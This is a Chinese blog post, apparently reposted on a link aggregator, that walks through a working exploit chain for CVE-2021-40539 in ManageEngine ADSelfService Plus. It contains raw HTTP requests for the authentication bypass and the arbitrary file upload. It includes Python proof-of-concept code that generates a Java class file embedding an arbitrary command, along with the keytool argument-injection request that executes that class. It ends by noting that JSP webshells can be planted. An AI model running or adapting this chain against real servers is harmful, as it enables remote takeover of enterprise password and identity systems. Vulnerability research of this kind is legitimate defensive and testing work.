Zoho ManageEngine ADSelfService Plus 从身份验证绕过到RCE(cve-2021-40539)
source link: https://vvmdx.github.io/2022/03/12/2022-03-12-Zoho%20ManageEngine%20ADSelfService%20Plus%20%E4%BB%8E%E8%BA%AB%E4%BB%BD%E9%AA%8C%E8%AF%81%E7%BB%95%E8%BF%87%E5%88%B0RCE(cve-2021-40539)/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Zoho ManageEngine ADSelfService Plus 从身份验证绕过到RCE(cve-2021-40539)
前段时间写poc时(pocsuite3)写这个东西花了不少时间,主要是本机环境和公开的漏洞环境好像有点不太一样(坑点在于同个版本,上传文件的路径居然不一样),而且有几个点感觉很好玩,于是记录一下
参考1: https://mp.weixin.qq.com/s/nGi7YfDI6g6b704PHzJlcw
参考2: https://github.com/synacktiv/CVE-2021-40539
代码层原理不说了,看参考1就行
验证步骤
- 认证绕过验证
- 上传java类文件
- 通过接口调用工具去执行上传的类文件
- 类文件可执行任意代码,我们令其写入文件到web目录下
- 访问web目录下的文件验证
0x00 认证绕过验证
# url
http://10.73.199.43:8888/./RestAPI/LogonCustomization
# post data
methodToCall=previewMobLogo
请求包如下
POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 10.73.199.43:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
methodToCall=previewMobLogo
代码验证:
# 身份验证绕过
def authorized_bypass_verify(self):
vul_path = "/./RestAPI/LogonCustomization"
vul_url = self.url + vul_path
postData = {"methodToCall": "previewMobLogo"}
session = requests.Session()
req = requests.Request(url=vul_url, data=postData, method='POST')
prep = req.prepare()
# 若不这么写,则requests库内置规则会把 /./RestAPI/ 优化为 /RestAPI,无法触发漏洞
prep.url = vul_url
resp = session.send(prep, verify=False)
if resp and resp.status_code == 200 and '<script type="text/javascript">var d = new Date();' in resp.text:
return True
return False
这里出现了第一个坑了我好久的地方,就是urllib3
库会对url的点段进行处理,意思就是当我们访问http://ip/../../path
时,urllib3
会将其优化为http://ip/path
,浏览器也是这么做的,这是为了符合RFC3986的规范,后来我给pocsuite3提了一个issue,他们也给我解释了这个原因,然后也feat了pocsuite3对url点段的处理,这个我打算另外写一篇文章说说
0x01 任意文件上传验证
# url
http://10.73.199.43:8888/./RestAPI/LogonCustomization
# post data
postData = {
"methodToCall": "unspecified",
"Save": "yes",
"form": "smartcard",
"operation": "Add"
}
# file data
file = {'CERTIFICATE_PATH': ('随机文件名.class', 文件内容)}
burp发送该请求后404是正常的
POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 10.73.199.43:8888
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Length: 539
Content-Type: multipart/form-data; boundary=d187865b4e0f1bf873369d29ad1c50f5
Connection: close
--d187865b4e0f1bf873369d29ad1c50f5
Content-Disposition: form-data; name="methodToCall"
unspecified
--d187865b4e0f1bf873369d29ad1c50f5
Content-Disposition: form-data; name="Save"
yes
--d187865b4e0f1bf873369d29ad1c50f5
Content-Disposition: form-data; name="form"
smartcard
--d187865b4e0f1bf873369d29ad1c50f5
Content-Disposition: form-data; name="operation"
Add
--d187865b4e0f1bf873369d29ad1c50f5
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="qwe.txt"
abcde
--d187865b4e0f1bf873369d29ad1c50f5--
上传后的文件目录位于./ADSelfService Plus/bin
下
0x02 命令执行验证
由于任意文件上传的目录是无法进行目录穿越的,而那个目录无法通过web访问,因此这里我觉得是这个洞最巧妙的一点,他使用了一个用来生成密钥对的工具来执行上传文件目录下的类文件,使其达到任意代码执行的目的
上传类文件
产品自带jdk,版本为1.8u162,因此我们上传的类文件也要用对应版本的jdk编译,不够实际上只要大版本是jdk8就行了
上传的类文件由如下java代码编译
import java.io.*;
public class test3 {
static{
try{
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("cmd /c echo 随机字符串>..\\webapps\\adssp\\help\\admin-guide\\随机文件名.txt");
}catch (IOException e){}
}
}
实际上我们在写poc时,不可能每次都要编译个类文件,让python去读取后验证,所以我们需要提取出他的特征,如下图所示,两者的区别在于类名和执行的命令不一样,其他二进制位都是相同的,因此我们可以通过只调整以下几项来达到从字节数组中获取可执行类文件的二进制流(以右图为例):
- java文件名长度(test.java长度为9)
- java文件名(test.java)
- 执行的命令长度(calc长度为4)
- 执行的命令(calc)
- 类名长度(test长度为4)
- 类名(test)
# getPayload方法的计算部分
def calc(self, calc_string):
len_str = len(calc_string)
# 长度格式化为两位十六进制
len_str_hex = '0' + hex(len_str)[2:] if len_str < 16 else hex(len_str)[2:]
# 字符串格式化为对应的十六进制,因为均为可见字符,所以不用做补位处理
str_hex = str(binascii.b2a_hex(calc_string.encode('utf-8')))[2:-1]
return len_str_hex, str_hex
# 获取payload
'''
payload为编译好的java类文件的十六进制表示
import java.io.*;
public class filename {
static{
try{
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("command");
}catch (IOException e){}
}
}
filename和command均为可变参数
'''
def getPayload(self, file_name, command):
len_filename_hex, filename_hex = self.calc(file_name)
source_file = file_name + ".java"
len_source_file_hex, source_file_hex = self.calc(source_file)
len_cmd_hex, cmd_hex = self.calc(command)
p = "cafebabe00000034001e0a000700110a001200130800140a001200150700160700170700180100063c696e69743e0100" \
"03282956010004436f646501000f4c696e654e756d6265725461626c650100083c636c696e69743e01000d537461636b" \
f"4d61705461626c6507001601000a536f7572636546696c650100{len_source_file_hex}{source_file_hex}" \
f"0c000800090700190c001a001b0100{len_cmd_hex}{cmd_hex}0c001c001d0100136a6176612f696f2f494f457863657074696f6e0100" \
f"{len_filename_hex}{filename_hex}0100106a6176612f6c616e672f4f626a6563740100116a6176612f6c616e672f52756e74696d" \
"6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027" \
"284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b002100060007000000" \
"0000020001000800090001000a0000001d00010001000000052ab70001b100000001000b000000060001000000020008" \
"000c00090001000a000000490002000200000010b800024b2a1203b600044ca700044bb100010000000b000e00050002" \
"000b0000001200040000000500040006000b0007000f0008000d0000000700024e07000e000001000f000000020010 "
obj = bytearray(bytes.fromhex(p))
return obj
调用接口执行类文件
在使用url调用之前,可以先直接使用工具去执行(效果同通过url调用)
该url接口实际上就是调用了ADSelfService Plus\jre\bin
下的keytools.exe
去执行类文件,其中类名和目录都可以控制
keytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass "null" -storePass "null" -keysize 123 -providerclass 类名 -providerpath 目录 -dName "CN=null, OU= null, O=null, L=null, S=null, C=null" -keystore ..\jre\bin\SelfService.keystore
以上命令行效果等同于以下请求
POST /./RestAPI/Connection HTTP/1.1
Host: 10.73.199.108:8888
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Length: 113
Content-Type: application/x-www-form-urlencoded
Connection: close
methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+test+-providerpath+%22..%5C..%5Cbin%22
代码参数如下
# url
http://10.73.199.43:8888/./RestAPI/Connection
# post data
postData = {
"methodToCall": "openSSLTool",
"action": "generateCSR",
"KEY_LENGTH": '1024 -providerclass test -providerpath "..\\bin"'
}
KEY_LENGTH
参数说明:
-providerclass test
中,test
为(类)文件名,若上传的文件名为随机名,则需要修改-providerpath "..\\bin"
中,..\\bin
为上传的类文件目录,大多数复现文章都使用绝对路径(默认安装路径)C:\ManageEngine\ADSelfService Plus\bin
,不过我本机亲测可通过相对路径触发;- 然而在我本机环境,他这个接口的目录位于
ADSelfService Plus\jre\bin
,而上传文件目录位于ADSelfService Plus\bin
,所以路径应该问..\\..\\bin
- 因此添加了一个可能的路径列表
file_path = ["..\\bin", "..\\..\\bin", "C:\\ManageEngine\\ADSelfService Plus\\bin"]
,使用时三个都试一下就行了
验证代码执行效果
我们上传的类文件执行的命令为cmd /c echo 随机字符串>..\\webapps\\adssp\\help\\admin-guide\\随机文件名.txt
http://10.73.199.108:8888/help/admin-guide/文件名
其中..\\webapps\\adssp\\help\\admin-guide
目录可通过路径http://10.73.199.108:8888/help/admin-guide/文件名
直接访问,效果如下
0x03 后利用姿势及总结
分析可控点:
./ADSelfService Plus/bin
目录可上传任意文件,但不可通过web访问,不存在目录穿越http://ip/./RestAPI/Connection
该路径可调用keytools.exe
执行任意目录下的任意java类文件- 由1和2得思路:上传类文件,再调用接口去执行
..\\webapps\\adssp\\help\\admin-guide
目录可通过路径http://ip/help/admin-guide/文件名
直接访问- 由3和4得:执行的类文件可以将内容写入4的目录下,再去访问
jdk版本为1.8u162
..\\webapps\\adssp\\help\\admin-guide
目录可解析jsp文件,意味着可以上传jsp马
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK